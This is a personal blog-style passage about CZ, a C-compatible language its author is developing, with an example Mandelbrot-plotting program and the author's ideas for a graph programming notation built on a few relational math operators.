    CZ is lacking a good modern system of symbol namespaces. I can look to Python for a great example. I need to maintain compatibility with C, and avoid ugly symbol encodings. I think I can come up with something that will alleviate the need to type anything like gtk_window_set_default_size, and yet maintain compatibility with the library in question. I want all the power of C, but it should be easy to use, even for children. It should be as easy as BASIC or Processing, a child should be able to write short graphical demos and the like, without stumbling over tricky syntax or obscure compile errors.

    Here is an example of a simple CZ program which plots the Mandelbrot set fractal. I think that the program is fairly clear and easy to understand, although there is still some potential to improve and clarify the code.

    #!/usr/local/bin/cz --
    use b
    use ccomplex
    
    Main:
    	num outside = 16, ox = -0.5, oy = 0, r = 1.5
    	long i, max_i = 50, rb_i = 30
    	space()
    	uint32_t *px = pixel()  # CONFIGURE!
    	num d = 2*r/h, x0 = ox-d*w_2, y0 = oy+d*h_2
    	for(y, 0, h):
    		cmplx c = x0 + (y0-d*y)*I
    		repeat(w):
    			cmplx w = c
    			for i=0; i < max_i && cabs(w) < outside; ++i
    				w = w*w + c
    			*px++ = i < max_i ? rainbow(i*359 / rb_i % 360) : black
    			c += d

    I wrote a more elaborate variant of this program, which generates images like the one shown below. There are a few tricks used: continuous colouring, rainbow colours, and plotting the logarithm of the iteration count, which makes the plot appear less busy close to the black fractal proper. I sell some T-shirts and other products with these fractal designs online.

    An image from the Mandelbrot set, generated by a fairly simple CZ program.

    I am interested in graph programming, and have been for three decades since I was a teenager. By graph programming, I mean programming and modelling based on mathematical graphs or diagrams. I avoid the term visual programming, because there is no necessary reason that vision impaired folks could not use a graph programming language; a graph or diagram may be perceived, understood, and manipulated without having to see it.

    Mathematics is something that naturally exists, outside time and independent of our universe. We humans discover mathematics, we do not invent or create it. One of my main ideas for graph programming is to represent a mathematical (or software) model in the simplest and most natural way, using relational operators. Elementary mathematics can be reduced to just a few such operators:

    +add, subtract, disjoint union, zero
    ×multiply, divide, cartesian product, one
    ^power, root, logarithm
    sin, cos, sin-1, cos-1, hypot, atan2
    δdifferential, integral
    a set of minimal relational operators for elementary math

    I think that a language and notation based on these few operators (and similar) can be considerably simpler and more expressive than conventional math or programming languages.

    CZ is for me a stepping-stone toward this goal of an expressive relational graph language. It is more pleasant for me to develop software tools in CZ than in C or another language.

    Thanks for reading. I wrote this article during the process of applying to join Toptal, which appears to be a freelancing portal for top developers; and in response to this article on toptal: After All These Years, the World is Still Powered by C Programming.

    My CZ project has been stalled for quite some time. I foolishly became discouraged after receiving some negative feedback. I now know that honest negative feedback should be valued as an opportunity to improve, and I intend to continue the project until it lacks glaring faults, and is useful for other people. If this project or this article interests you, please contact me and let me know. It is much more enjoyable to work on a project when other people are actively interested in it!